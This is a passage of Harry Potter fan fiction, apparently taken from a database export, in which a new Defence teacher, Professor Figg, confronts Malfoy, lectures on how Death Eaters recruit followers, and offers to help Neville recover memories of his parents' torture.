attack on you.&nbsp; An unnamed source is accusing you of killing Cedric Diggory in order to get Cho Chang as your girlfriend.&#8221;</p>\n\n<p>Harry started to feel his blood boil and looked over at the Slytherin table.&nbsp; Malfoy was eagerly reading the same paper and chuckling with his friends.&nbsp; Harry got up and started to walk over to Malfoy.&nbsp; He wasn&#8217;t sure what he was going to say or do, but he knew he couldn&#8217;t let this go unanswered.&nbsp; He had almost gotten there when Professor Figg strode angrily past him.</p>\n\n<p>SMACK!</p>\n\n<p>The paper had been slammed down on the table in front of Malfoy and she stood staring down at him.</p>\n\n<p>&#8220;Would you please care to tell me how <i>The Daily Prophet</i> came to print an article using the very language that you used on the Hogwarts Express?&#8221; Professor Figg demanded.</p>\n\n<p>Everyone in the Great Hall stopped eating their breakfast and focused their attention on the new teacher.</p>\n\n<p>&#8220;H-How should I know?&#8221; Malfoy said nervously as he looked around the room.</p>\n\n<p>&#8220;So you think it was just a happy coincidence they<i>\n\n</i>chose to make the same insinuation you did?&nbsp; And how did they come to find out that Cho Chang and Harry were in the same compartment on the train ride?&nbsp; Or what his punishment was for hexing you and your friends?&nbsp; Someone from <i>this school </i>initiated contact with that newspaper with the sole purpose of defaming Harry Potter.&nbsp; I would like to know if you had anything to do with this.&#8221; </p>\n\n<p>&#8220;Many people saw them together and voices carry on the Hogwarts Express.&nbsp; Perhaps someone else heard me and came to the same conclusion that I did,&#8221; he drawled.</p>\n\n<p>&#8220;Well then, for not answering a direct question from a faculty member I shall deduct ten points from Slytherin.&#8221;</p>\n\n<p>Malfoy looked at her and seemed emboldened.</p>\n\n<p>&#8220;Professor Figg, I delivered your regards to my father.&nbsp; He was rather surprised to hear that you were going to be teaching here.&nbsp; He said you seemed to have dropped off the face of the Wizarding World some fourteen years ago.&nbsp; It was thought that you had renounced magic and were living amongst the Muggles.&nbsp; He also wondered what your qualifications were to teach here,&#8221; Malfoy said with a lilt of contempt in his voice.</p>\n\n<p>&#8220;That earns you another ten points penalty Mr. Malfoy.&nbsp; That&#8217;s for not asking me a direct question but instead trying to veil an insinuation as a comment from your father.&nbsp; That type of disrespect will not be tolerated.&#8221;</p>\n\n<p>Snape entered the room and saw everyone staring at Draco Malfoy and Professor Figg.&nbsp; He quickly made his way over to stand behind Malfoy.</p>\n\n<p>&#8220;Is there a problem here?&#8221;</p>\n\n<p>&#8220;Yes, there is.&nbsp; Your newest prefect seems to have a problem showing the proper respect for faculty members.&nbsp; He refused to answer a direct question and then rather than ask me a question, he made an insinuation regarding my character and qualifications.&nbsp; So far he&#8217;s lost Slytherin twenty points.&#8221;</p>\n\n<p>Snape looked at Malfoy and then cast a withering glance at Harry.&nbsp; Even though his name wasn&#8217;t mentioned, Snape knew that this disagreement had something to do with Harry Potter.&nbsp; As Snape&#8217;s eyes locked with his, Harry began to feel very self-conscious.&nbsp; He wanted to be anywhere except four feet away from the Slytherin table.&nbsp; He would have left except for the minor fact that his legs wouldn&#8217;t move.&nbsp; His feet seemed to have been cemented to the floor. </p>\n\n<p>Draco muttered something under his breath.</p>\n\n<p>&#8220;What&#8217;s that you said?&#8221; Professor Figg snapped.&nbsp; &#8220;That&#8217;s another ten points!&nbsp; I will not tolerate inter-house prejudice.&nbsp; And for the record Mr. Malfoy, I was in Ravenclaw.&nbsp; Each house has a long and noble tradition as well as their own share of embarrassing alumni.&nbsp; Every house and every student here is deserving of respect.&nbsp; Comments like that are beneath the dignity of Hogwarts.&nbsp; And because this type of behaviour is unacceptable from any student and especially reprehensible for prefects, you shall serve a detention for this.&nbsp; I shall leave that for you to arrange Professor Snape,&nbsp; since you are his head of house.&#8221;</p>\n\n<p>&#8220;Come with me Draco, before you lose Slytherin any more points,&#8221; Snape said coolly.</p>\n\n<p>Snape looked at Professor Figg as if he were sizing her up.&nbsp; Then he placed his hand on Draco&#8217;s back as he guided him from the room.</p>\n\n<p>&#8220;Oh and Mr. Malfoy,&#8221; Professor Figg called to him.&nbsp; &#8220;I&#8217;ll see you this morning in class.&nbsp; Don&#8217;t be late.&#8221;</p>\n\n<p>She looked around and saw that the entire hall was staring at her.&nbsp; </p>\n\n<p>Pansy Parkinson raised her hand cautiously.</p>\n\n<p>&#8220;Professor Figg?&#8221; she asked.</p>\n\n<p>&#8220;Yes?&nbsp; And your name is?&#8221;</p>\n\n<p>&#8220;Pansy Parkinson.&#8221;</p>\n\n<p>&#8220;Yes, Miss Parkinson what is it?&#8221;</p>\n\n<p>&#8220;Professor, what <i>did</i> you do for the last fourteen years?&#8221; she asked nervously.</p>\n\n<p>&#8220;I worked providing security for a private client,&#8221; Professor Figg replied matter-of-factly. </p>\n\n<p>&#8220;Were you in the Muggle world?&#8221; Pansy asked.</p>\n\n<p>&#8220;Any information regarding my client or their location would be a breach of confidentiality.&nbsp; As for my qualifications to teach here, the headmaster is well aware of my talents and experience.&nbsp; It was based on that knowledge that he recruited me for this position.&nbsp; I would like to thank you for asking me politely Miss Parkinson.&#8221;</p>\n\n<p>Professor Figg then looked around the room again.&nbsp; &#8220;Does anyone else have any questions for me?&#8221;</p>\n\n<p>Heads were shaking all around.</p>\n\n<p>&#8220;Well then, let&#8217;s get back to breakfast.&nbsp; Your first class is in twenty minutes,&#8221; she said as she turned and walked back to the head table.</p>\n\n<p>Harry started getting the feeling back in his legs and began to move toward the Gryffindor table.&nbsp; Cho Chang stood up and looked directly at Harry.&nbsp;&nbsp; </p>\n\n<p>She tossed her hair and said, &#8220;Hey, Harry.&#8221;</p>\n\n<p>Harry blinked, &#8220;Umm, hi.&#8221;</p>\n\n<p>&#8220;I want to make an announcement for the whole school to hear,&#8221; Cho stated loudly.&nbsp; &#8220;The report in this morning&#8217;s paper is false and I don&#8217;t want anyone believing a word of it.&nbsp; I had asked to speak with Harry on the train because I had some questions for him regarding what happened to Cedric.&nbsp; He was honest and direct with me.&nbsp; He had nothing to do with Cedric&#8217;s death and anyone who says otherwise is just slandering an upstanding young man and defiling the memory of Cedric.&nbsp; Furthermore, Harry has always been a perfect gentleman towards me.&nbsp; I wanted everyone to know that I categorically reject the content of that article.&nbsp; That&#8217;s all.&#8221;</p>\n\n<p>Cho then sat down and her friends immediately started to lean forward with their questions for her.&nbsp; Harry felt stunned.&nbsp; He stumbled back to his seat, but no longer felt like eating anything.</p>\n\n<p>Ron gave a low whistle.&nbsp; &#8220;Wow.&nbsp; So what do you think is going to happen at lunch?&#8221;</p>\n\n<p>The table burst out in nervous laughter.</p>\n\n<p>&#8220;Professor Figg looks like one tough lady,&#8221; said Dean appreciatively.</p>\n\n<p>&#8220;Yeah, well you have to be when you&#8217;re fighting against dark wizards,&#8221; said Harry.</p>\n\n<p>Hermione was looking at her schedule.</p>\n\n<p>&#8220;We don&#8217;t have her until Friday afternoon,&#8221; she said disappointedly.</p>\n\n<p>&#8220;Yeah, but Malfoy&#8217;s got her first thing this morning.&nbsp; I&#8217;d love to have a ticket to see that,&#8221; said Ron.&nbsp; &#8220;Maybe he&#8217;ll wind up getting a round fifty points taken away today.&#8221;</p>\n\n<p>&#8220;Well, we&#8217;d better hurry up or we&#8217;ll be late for Transfiguration and I don&#8217;t want to start the year off on a bad foot with Professor McGonagall,&#8221; said Hermione as she shoveled some food in her mouth. </p>\n\n<p>*</p>\n\n<p>&nbsp;Harry&#8217;s first week back in classes seemed rather uneventful.&nbsp; Even Potions class was bearable.&nbsp; It seemed that Snape, Malfoy and Harry had come to a silent understanding to try and ignore one another.&nbsp; The students in school did seem to give Harry a wide berth and cast nervous glances when they saw him walking in the halls or on the stairs.</p>\n\n<p>Hagrid was glad to see Harry and pulled him to the side during their first Care of Magical Creatures class.</p>\n\n<p>&#8220;You holdin&#8217; up all right?&#8221;</p>\n\n<p>&#8220;Yeah, I&#8217;m fine,&#8221; Harry said.</p>\n\n<p>&#8220;&#8217;Cause I was right mad about all the garbage printed &#8216;bout you in the papers this summer.&nbsp; I woulda gone and knocked some heads together, &#8216;sceptin&#8217; I had to go and do a job fer Dumbledore.&#8221;</p>\n\n<p>&#8220;How did that go?&#8221; Harry said under his breath.</p>\n\n<p>&#8220;I&#8217;m not supposed to tell anyone, but strictly between you &#8216;n&#8217; me&#8230;they&#8217;re gonna stay neutral for now.&nbsp; Oh and I&#8217;ve got summat fer ya, stop by later and I&#8217;ll give it to ya.&nbsp; Sorry I missed yer birthday, but I couldn&#8217;t really send ya anything where I was at.&#8221;</p>\n\n<p>Harry nodded and rejoined his classmates in looking at a Kneazle that Hagrid had brought in for the class.&nbsp; They were cat-like creatures that had the ability to recognize untrustworthy characters.&nbsp;&nbsp; He noticed that the one Hagrid was using for his demonstration had the same markings as one of Professor Figg&#8217;s cats.&nbsp; The difference was that looked like it had a lion&#8217;s tail.</p>\n\n<p>&#8220;And remember class, if you have a Kneazle that Muggles might see, you&#8217;ll need ta perform a disillusionment charm regularly so that it &#8216;ppears to be a normal cat.&#8221;</p>\n\n<p>*</p>\n\n<p>On Friday, Harry was glad to finally have his first Defence Against the Dark Arts class with Professor Figg.&nbsp; He felt it was like having a class with an old friend.&nbsp; Something he knew he could never in a million years feel with Snape.&nbsp; This year they would share the class with Ravenclaw.&nbsp; After Monday&#8217;s incident with Malfoy, the entire school seemed to be buzzing about the newest professor.&nbsp; It seemed that everyone except for the Slytherins was impressed by her.&nbsp; Many of the girls started to imitate her new hairstyle by wearing their hair in a single braid down their back.</p>\n\n<p>Professor Figg had been waiting inside her inner office until it was time for the class to start.&nbsp; When she closed the door behind her, she looked slowly around the room and made eye contact with each and every student.&nbsp; She repeated this during the first roll call asking certain students about the welfare of their parents.</p>\n\n<p>She paused over Neville Longbottom&#8217;s name.&nbsp; &#8220;Neville, how is your grandmother?&#8221;</p>\n\n<p>&#8220;Fine.&#8221;</p>\n\n<p>&#8220;Good, give her my regards.&#8221;</p>\n\n<p>After these formalities, Professor Figg sat on the front of her desk and spoke quietly.</p>\n\n<p>&#8220;This year will be a very different year for everyone at Hogwarts.&nbsp; In the past you&#8217;ve learned about dark creatures such as boggarts, kappas, grindylows.&nbsp; This year we will be focusing on far more dangerous dark forces, specifically evil witches and wizards.&nbsp;&nbsp;&nbsp; We will be discussing how best to respond when targeted by Voldemort&#8217;s forces.&nbsp; Choosing what is right over what is easy.</p>\n\n<p>&#8220;This will demand that everyone undergo a painful self-examination.&nbsp; Your essays for this class will not require much outside reading or research, but instead will require an understanding of yourself and your own weaknesses.&nbsp; Other classes have indicated that Professor Binns has not discussed any of the history related to Voldemort&#8217;s Reign of Terror.&#8221;</p>\n\n<p>Hermione shook her head vehemently.</p>\n\n<p>&#8220;Well, I was involved in the opposition to Voldemort,&#8221; Professor Figg continued.&nbsp; &#8220;His forces were always outnumbered by those who refused to join the Dark Side.&nbsp; However, his clandestine organization wielded a lot of power by their terrorist acts and culture of secrecy.&nbsp; They also had a network of covert supporters who either tacitly approved or allowed the excesses to occur.&nbsp; There were other people that were forced by Voldemort to do horrific things.&nbsp; Some were coerced by the Imperius curse.&nbsp; Others were blackmailed or threatened with death to themselves or their loved ones.&nbsp; Those who were coerced into supporting his evil deeds were never considered to be loyal.&nbsp; They were thought of as important, but unreliable.&nbsp; They might carry out horrible tortures and murders when they were compelled to act, but they could not be counted on for their fealty.</p>\n\n<p>&#8220;The last group of supporters were his inner circle.&nbsp; His Death Eaters.&nbsp; Those who took an oath of loyalty and were steadfast in their support.&nbsp; They had to demonstrate their loyalty to him before their initiation.&nbsp; Afterwards, any order, no matter how gruesome had to be carried out.&nbsp; In trying to recruit these loyal followers the most effective method is to find those most likely to be receptive to your message.&nbsp; Can anyone think who might be tempted to join the Death Eaters?&#8221;</p>\n\n<p>Ron Weasley raised his hand.&nbsp; &#8220;Children of Death Eaters?&#8221; he offered.</p>\n\n<p>&#8220;Yes, legacies are commonly recruited.&nbsp; Especially if their families have tried to groom their children to follow their path.&nbsp; However, they can be like all children and are not always interested in following a prescribed role for them.&nbsp; If they reject the overtures to join &#8211; they may be in great danger.&nbsp; And when it comes to risk management, should they decide to turn over information they&#8217;ve gathered over the years &#8211; it could be very damaging.&nbsp; There are many examples of parents and children who have chosen different sides.&nbsp; Many children have turned bad whose parents were actively fighting Voldemort.&nbsp; So you can&#8217;t always predict what the type of fruit a tree will bear.&nbsp; Who else?&#8221;</p>\n\n<p>Seamus Finnigan raised his hand.&nbsp; &#8220;How about people who are bent on revenge?&nbsp; That&#8217;s what the IRA and the <st1:country-region><st1:place>Ulster</st1:place></st1:country-region> Unionists use to recruit new members.&#8221;</p>\n\n<p>&#8220;Yes, revenge is a powerful motivation.&nbsp; That is something to bear in mind.&nbsp; You don&#8217;t want to drive someone into Voldemort&#8217;s arms because they want to hurt you,&#8221; she said and looked directly at Harry.</p>\n\n<p>He bristled at that.&nbsp; Harry thought that Draco Malfoy was destined to become a Death Eater due to being an evil git and following his father&#8217;s lead.&nbsp; It wouldn&#8217;t make any difference as to whether or not Harry hexed Draco. </p>\n\n<p>&#8220;Another group that is vulnerable are those who are isolated and alone,&#8221; she continued.</p>\n\n<p>Neville Longbottom looked up startled.</p>\n\n<p>&#8220;Part of the appeal of gangs, organized crime syndicates and terrorist organizations is the sense of belonging that their members feel.&nbsp; A sense of purpose.&nbsp; <i>A sense of family. </i>&nbsp;Once you become entrenched you can never leave.&nbsp; Not without the risk of death.&#8221;</p>\n\n<p>Harry swallowed hard as he thought of Snape.&nbsp; Was he really someone Dumbledore could trust?&nbsp; He wondered and thought that if Snape truly had left Voldemort that he would also prove to be a target for being murdered.&nbsp; Harry and Snape were probably number one and number two on the list of people Voldemort wanted killed.&nbsp;&nbsp; He shook his head and willed that thought to leave his mind.</p>\n\n<p>&#8220;I will be assigning you three essays for the next three weeks,&#8221; Professor Figg continued.&nbsp; &#8220;You can do them in any order.&nbsp; One essay will be on what kinds of temptations could be used to try and lure you to the Dark Side.&nbsp; Things such as promises of power, prestige, advancement in your career &#8211; possibly even revenge.&nbsp; I want you to imagine a scenario in which you are being actively tempted and promised what you covet.&nbsp; How would you respond?&nbsp; The second essay will center on those areas of your life that would yield your vulnerabilities.&nbsp; Family, loved ones, friends.&nbsp; Who would you try to shield from harm?&nbsp; Who in your life would you sacrifice anything to protect?&nbsp; Then I want you to detail how their safety could be threatened in a way that would make you give in to their demands.&#8221;</p>\n\n<p>Harry looked around the room and noticed that many of the students were shifting in their seats uncomfortably.</p>\n\n<p>&#8220;The third essay will be in examining if there is anything you&#8217;ve done in your life or in your family&#8217;s history that might work as ammunition for blackmail.&nbsp; Is there anything that might come back to haunt you?&nbsp;&nbsp; I want to stress the importance of privacy to be placed on these essays.&nbsp; This is not a simple composition paper in which you can ask your friends for help on.&nbsp; I want you to be honest and forthright in your own vulnerabilities.&nbsp; Work alone on these essays and do not show them to anyone.&#8221;</p>\n\n<p>Lisa Turpin raised her hand.</p>\n\n<p>&#8220;How do we know that we can trust you with this sensitive information?&#8221;</p>\n\n<p>Professor Figg smiled at her.&nbsp; &#8220;<i>That is a good question</i>.&nbsp; And to be honest &#8211; you don&#8217;t know.&nbsp; All I can do is tell you that I fought against Voldemort and that Headmaster Dumbledore trusts me with this job.&nbsp; We discussed how best to prepare everyone for the coming battles and we came to an agreement on my lesson plans.&nbsp; That included these essays.&nbsp; Okay, enough of me talking.&nbsp; If you were Voldemort and wanted to recruit spies to help your side, who would you target?&#8221;</p>\n\n<p>A few hands were raised.</p>\n\n<p>&#8220;Yes, Mr. Weasley.&#8221;</p>\n\n<p>&#8220;People in the Ministry of Magic.&nbsp; Especially those who are Aurors or those involved in prosecutions,&#8221; Ron suggested.</p>\n\n<p>&#8220;Excellent.&nbsp; You should also remember that junior employees at the Ministry are prime targets.&nbsp; They are thought of as being easily tempted by promises of rapid advancement.&nbsp; Anyone else?&#8221; Professor Figg asked.</p>\n\n<p>&#8220;I have a question,&#8221; said Hermione.&nbsp; &#8220;If the Ministry is so vulnerable to infiltration with spies, do they try and protect against it by using Veritaserum on its agents?&#8221;</p>\n\n<p>Professor Figg gave a knowing smile.&nbsp; &#8220;Veritaserum at the Ministry?&nbsp; That might prove useful, but I daresay it wouldn&#8217;t be very popular.&nbsp; There would be many there that would actively resist it, if only for political reasons and their interdepartmental squabbles.&nbsp; I don&#8217;t see that as happening unless a major scandal erupted at the Ministry.&nbsp; We would also have to have a new Minister of Magic before that would ever happen.&#8221;</p>\n\n<p>Professor Figg lectured a little longer about recruitment by the Dark Side and by the time class was dismissed there was a notable doom felt by the class.&nbsp; She also gave a standard warning about keeping track of their hair and nail clippings.&nbsp; Harry knew that the other students were only now beginning to feel some of the worries that he had become accustomed to for several years.&nbsp; </p>\n\n<p>As the students filed out of class for the day, Neville was hanging back.<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor Figg? Could I talk with you?&#8221; he asked.</p>\n\n<p>She smiled kindly and directed him to her office.</p>\n\n<p>&#8220;Mr. Potter,&#8221; she called out.&nbsp; &#8220;Could you please ask one of the house-elves to bring us some dinners here?&#8221;</p>\n\n<p>He nodded and quickly caught up with Ron and Hermione.&nbsp; Harry was deep in thought about Neville.&nbsp; Isolated and alone.&nbsp; Those words described Neville Longbottom.&nbsp; He had never really made any close friends in Gryffindor and Harry felt somewhat to blame for that.&nbsp; Harry had never really made any attempts to befriend Neville and neither had Ron, Seamus or Dean it seemed.&nbsp; Neville seemed to be alone in a room full of boys.</p>\n\n<p>Harry vowed that tonight after Neville came back to Gryffindor tower that he would reach out a hand in friendship and try to help him.&nbsp; After all, Harry could still recall the pain of not having any friends because his cousin Dudley had intimidated everyone around him.</p>\n\n<p>*</p>\n\n<p>End notes:&nbsp; End notes. I wanted to thank those who have taken the time to leave a review. Thank you to jessi, katrina, KHALIL, kinicky21, and soccerpunx. And to answer the question from soccerpunx, no I&#8217;m not writing a sequel to this story. I actually have to work on the research portion for my own original story. I have some ideas and have started a plot outline, but still have a long way to go to make it become a story that someone else can read just yet.</p>\n\n<p>Coming soon:&nbsp; Chapter Six &#8211; Memories and Jealousy.&nbsp; Neville has a long talk with Professor Figg and Viktor Krum comes back into the story.&nbsp; </p> '),
	(260, 6, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s Note:&nbsp; Thanks again to Cara Hicks and Ama for beta reading my work.</p>\n\n<p>Rating:&nbsp; R for adult themes and sexual intimacy</p>\n\n<p>Chapter Six &#8211; Memories and Jealousy </p>\n\n<p>Professor Figg sat down in her office and asked Neville to tell her what was troubling him.</p>\n\n<p>&#8220;What you said in class today&#8230;I don&#8217;t want to be a Death Eater,&#8221; he choked.&nbsp; &#8220;You said they went after those who were loners.&nbsp; I don&#8217;t have any close friends.&#8221; </p>\n\n<p>She patted his hand and said with a soothing voice, &#8220;Just because you fit one of the characteristics doesn&#8217;t mean that you will automatically go bad.&nbsp; Neville, I know that you are a decent kid at heart.&nbsp; I&#8217;m not worried about your ability to stand up for yourself.&#8221;</p>\n\n<p>&#8220;But, I can&#8217;t&#8230;I can&#8217;t even stand up to Malfoy!&#8221;</p>\n\n<p>&#8220;Nonsense, there are more ways to stand up for your principles than simply by getting into a street brawl.&nbsp; That is what my class will help you with.&nbsp; Ways to cope and to deal with temptation and threats.&nbsp; Everyone is at risk, whether they are vastly popular or painfully shy.&#8221;&nbsp; </p>\n\n<p>She poured a cup of tea and handed it to him.&nbsp; &#8220;I wanted to tell you that I knew your father well.&nbsp; He saved my life and for that I&#8217;ll be eternally grateful to him.&#8221;</p>\n\n<p>Neville looked up at her with wide eyes.</p>\n\n<p>&nbsp;&#8220;I&#8217;ve talked with other professors about your abilities and I&#8217;m concerned about you.&nbsp; I&#8217;m worried that your magical powers are not being channeled and focused properly.&nbsp; I don&#8217;t think you realize just how powerful you are, or could be.&nbsp; The problem is that your magic is simply uncontrolled.&nbsp; It reminds me of the side effects of a badly cast memory charm.&nbsp; Tell me, what is your date of birth?&#8221;</p>\n\n<p>&#8220;<st1:date year="1980" day="12" month="1">January 12, 1980</st1:date>.&#8221;</p>\n\n<p>&#8220;And your parents were attacked in July of 1982?&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;Then you would have been two and a half years old when it happened?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;Were you at home at the time?&#8221; she asked.</p>\n\n<p>&#8220;That&#8217;s what they tell me,&#8221; he said quietly.</p>\n\n<p>&#8220;So you don&#8217;t remember anything of that night?&#8221;</p>\n\n<p>He shook his head sadly.</p>\n\n<p>&#8220;Neville, there are ways to overcome memory charms.&nbsp; Some methods are intrusive and harmful, while others are not.&nbsp; Part of being able to overcome one is the knowledge that a memory charm has been placed and knowing what the memories are that are being blocked.&nbsp; We can use gentle methods such as hypnosis to try and unlock portions of the hidden memories and then we can work slowly towards restoring your full memory.&nbsp; Other methods are more painful&#8230;anger, extreme anger can cause a memory charm to be broken.&nbsp; It will cause a flood of memories.&nbsp; It&#8217;s the quickest, but it is also very painful.&nbsp; Another method is torture, but that would destroy your mind.&#8221;</p>\n\n<p>Knock.&nbsp; Knock.</p>\n\n<p>&#8220;Come in,&#8221; Professor Figg called out.</p>\n\n<p>Dobby the house-elf opened the door quietly.&nbsp; &#8220;Here&#8217;s the dinners you asked for.&#8221;</p>\n\n<p>&#8220;Thank you very much and please set the trays on my desk.&#8221; </p>\n\n<p>Dobby set down the trays of food and slowly backed out of the room.</p>\n\n<p>&#8220;And what is your name?&#8221; Professor Figg asked the house-elf.</p>\n\n<p>&#8220;Dobby.&#8221;</p>\n\n<p>&#8220;I&#8217;m Professor Figg.&nbsp; It&#8217;s good to meet you.&nbsp; Thank you for bringing the food, Dobby,&#8221; she said with a smile.</p>\n\n<p>&#8220;Professor Figg is most welcome,&#8221; Dobby said as he left the room beaming.</p>\n\n<p>Professor Figg placed a napkin on her lap and was about to start eating, but said, &#8220;Neville, I can try to help you recover those memories and possibly help your parents if you&#8217;d like to try.&#8221;</p>\n\n<p>&#8220;Help my parents?&#8221;</p>\n\n<p>&#8220;Yes, there are many who think that a curse was placed on them after they were attacked.&nbsp; Except that no one has found a counter curse that works.&nbsp; If we can recover your memory of that night, you may be able to help us release them from their mental prison.&#8221;</p>\n\n<p>Neville sat and tried to absorb all that information.&nbsp; He slowly chewed on a pork chop.</p>\n\n<p>*</p>\n\n<p>Harry Potter sat playing wizard chess with Ron in the Gryffindor common room.&nbsp; He was also rehearsing in his head what he wanted to say to Neville.&nbsp; This didn&#8217;t help his chess game and he lost several games in quick succession.&nbsp; Dean and Seamus were in a corner playing a rousing game of Exploding Snap with Fred and George.&nbsp; As Neville entered through the portrait hole, Harry looked up at him.&nbsp; Neville looked drained and he simply walked up to the dormitories without even attempting to say hello to anyone.&nbsp; Harry deliberately threw the game by putting his queen and rook in danger.&nbsp; Within five moves Ron had won the game.</p>\n\n<p>&#8220;Your game is really off tonight,&#8221; Ron said.</p>\n\n<p>&#8220;Yeah, I think I&#8217;ll just call it a night,&#8221; Harry said.&nbsp; &#8220;Hey Hermione, you want to play chess with Ron?&#8221;</p>\n\n<p>Hermione looked up from the book she was reading and smiled.</p>\n\n<p>&#8220;Sure.&nbsp; It&#8217;ll give me a chance to try out some of the strategies I read this summer in a book by Bobby Fischer.&#8221;</p>\n\n<p>&#8220;Who&#8217;s Bobby Fischer?&#8221; Ron asked dumbly.</p>\n\n<p>&#8220;Oh, just some Muggle chess player,&#8221; she said smugly.</p>\n\n<p>Harry walked up the stairway and was thinking carefully about how he wanted to approach Neville.&nbsp; He entered their dormitory and he saw Neville absentmindedly folding clothes deep in thought.</p>\n\n<p>&#8220;Hey Neville, how are you doing?&#8221; Harry asked.</p>\n\n<p>&#8220;Okay,&#8221; he said dully.</p>\n\n<p>&#8220;No, really.&nbsp; I&#8217;m worried about you.&nbsp; Professor Figg&#8217;s lesson seemed to disturb you,&#8221; Harry pressed.</p>\n\n<p>&#8220;Well, yeah it disturbed me.&nbsp; I&#8217;m all alone.&nbsp; No one likes me.&nbsp; I&#8217;m not like you.&nbsp; You&#8217;ve got friends.&nbsp; You&#8217;re popular.&nbsp; You&#8217;re the famous Harry Potter.&nbsp; I&#8217;m just Poor Old Neville,&#8221; he said gloomily.</p>\n\n<p>Harry took a deep breath.&nbsp; <i>Now comes the hard part</i>, he thought.&nbsp; &#8220;Neville, I&#8217;ve never asked you this before, but why did your grandmother raise you?&nbsp; What happened to your parents?&nbsp; Were they killed like mine were?&#8221;</p>\n\n<p>Neville looked at him with sorrowful eyes and shook his head.&nbsp; &#8220;No.&nbsp; They&#8217;re alive.&nbsp; They&#8217;re just&#8230;not really living,&#8221; he said.</p>\n\n<p>&#8220;What do you mean by that?&#8221; Harry asked innocently.</p>\n\n<p>&#8220;My father used to be an Auror.&nbsp; About nine months after your parents died and You-Know-Who fell, some of his supporters thought that my father knew of his whereabouts.&nbsp; So they came to our house and tried to torture the information out of my dad.&nbsp; They also tortured my mum.&nbsp; They used the Cruciatus curse on them.&nbsp; It drove Mum and Dad insane.&nbsp; My parents have been in St. Mungo&#8217;s ever since, just staring at the walls.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry Neville,&#8221; Harry said as he sat on the foot of his bed.&nbsp; &#8220;Were you there when it happened?&#8221;</p>\n\n<p>&#8220;That&#8217;s what they tell me.&#8221;</p>\n\n<p>&#8220;You don&#8217;t remember <i>anything</i>?&#8221; </p>\n\n<p>&#8220;No, I don&#8217;t,&#8221; he said sounding a bit annoyed.&nbsp; &#8220;I don&#8217;t even remember anything about my parents before they &#8211; before that.&#8221;</p>\n\n<p>&#8220;What <i>do</i> you remember from childhood?&#8221;</p>\n\n<p>&#8220;My gran always yelling at me to stop being stupid and forgetful.&nbsp; She tries to get me to remember things, but I just can&#8217;t.&nbsp; I don&#8217;t know why I&#8217;m so stupid.&#8221;</p>\n\n<p>&#8220;You&#8217;re not stupid Neville,&#8221; Harry said softly and earnestly.&nbsp; &#8220;You saw something terrible and you probably just don&#8217;t want to relive that horror.&nbsp; Anything that reminds you of that feeling probably shuts everything down for you.&#8221;</p>\n\n<p>&#8220;Harry, do you remember anything from the night your parents were killed?&#8221;</p>\n\n<p>He nodded.&nbsp; &#8220;At first it was just a few snatches of things.&nbsp; A blinding green light and a high-pitched laugh.&nbsp; Later&#8230;when I was near dementors, I would hear my mum and dad&#8217;s voices &#8211; what they said right before they died.&nbsp; I also heard Voldemort.&#8221;</p>\n\n<p>Neville shuddered.&nbsp; &#8220;I don&#8217;t think I&#8217;d want that.&#8221;</p>\n\n<p>&#8220;I know, but on one level I actually got to hear my parents.&nbsp; I never knew them growing up.&nbsp; My aunt and uncle never even talked about them or showed me any pictures of what they looked like.&nbsp; At least you have a family that will tell you things about your parents,&#8221; Harry said.</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&#8220;Besides, Neville.&nbsp; You&#8217;re not a bad wizard.&nbsp; You just have trouble focusing your power.&#8221;</p>\n\n<p>Neville looked puzzled.&nbsp; &#8220;But Harry, I&#8217;m not any good,&#8221; he insisted.</p>\n\n<p>&#8220;You transferred your ears to a cactus!&nbsp; I couldn&#8217;t do that if I tried.&nbsp; Imagine if you could deliberately do that to Malfoy,&#8221; Harry said.</p>\n\n<p>Neville gave a crooked smile.</p>\n\n<p>&#8220;Yeah and melting all those cauldrons,&#8221; Harry continued.&nbsp; &#8220;That&#8217;s because you were mad at Snape.&nbsp; Some of my most powerful magic pre-Hogwarts is when I was really angry.&nbsp; You just need to harness that energy of yours.&nbsp; It may all be tied to your inability to remember and cope with what you saw happen to your parents.&#8221;</p>\n\n<p>&#8220;That&#8217;s what Professor Figg said.&nbsp; She offered to help me with my memory.&#8221;</p>\n\n<p>&#8220;Good.&nbsp; I think that&#8217;ll help.&#8221;</p>\n\n<p>&#8220;Harry, please don&#8217;t tell <i>anyone</i> about this,&#8221; Neville pleaded.</p>\n\n<p>&#8220;Sure, Neville.&nbsp; I know how tough it is to grow up without parents.&#8221;</p>\n\n<p>*</p>\n\n<p>When Harry arrived for his second detention in Dumbledore&#8217;s office he was surprised to see Professor Figg inside waiting for him.</p>\n\n<p>&#8220;Hello Harry, I wanted to tell you that I will be going back to Little Whinging to take care of a problem.&nbsp; I wanted to offer to bring a letter to Sirius if you wanted to write one.&#8221;</p>\n\n<p>&#8220;Sure.&nbsp; Did you want me to write it now?&#8221;</p>\n\n<p>&#8220;I&#8217;m not sure exactly when I&#8217;ll be going.&nbsp; I&#8217;m still pondering of how best to deal with the situation.&nbsp; It&#8217;s Nadine,&#8221; she muttered.&nbsp; &#8220;It seems that she&#8217;s stepped up her stalking of Sirius now that she knows he&#8217;s in the house alone.&nbsp; It also appears that she&#8217;s gotten over her fear of snakes.&#8221;</p>\n\n<p>Dumbledore looked at her puzzled.</p>\n\n<p>&#8220;We had Harry transfigured outside one day when we knew she&#8217;d be coming by,&#8221; she said sheepishly.</p>\n\n<p>&#8220;Ah, that explains it,&#8221; he said with a twinkle in his eye.</p>\n\n<p>&#8220;Anyway, since I left she&#8217;s been trying to get inside my house on an almost daily basis.&nbsp; Her excuses are getting lamer each day.&nbsp; And yesterday she deliberately fell on him,&#8221; she said disgustedly.</p>\n\n<p>Harry could visualize the buxom bottle blonde trying desperately to get her body to connect with Sirius.&nbsp; He shook his head quickly to get that image out of his mind.</p>\n\n<p>&#8220;Can&#8217;t you make some kind of Muggle repellent?&#8221; Harry asked.</p>\n\n<p>&#8220;No, we need to make sure that Muggles, especially the mailman can come near the house.&nbsp; Otherwise it&#8217;ll be too suspicious,&#8221; she replied.</p>\n\n<p>&#8220;How about just a Nadine repellent then?&#8221; he asked.</p>\n\n<p>Professor 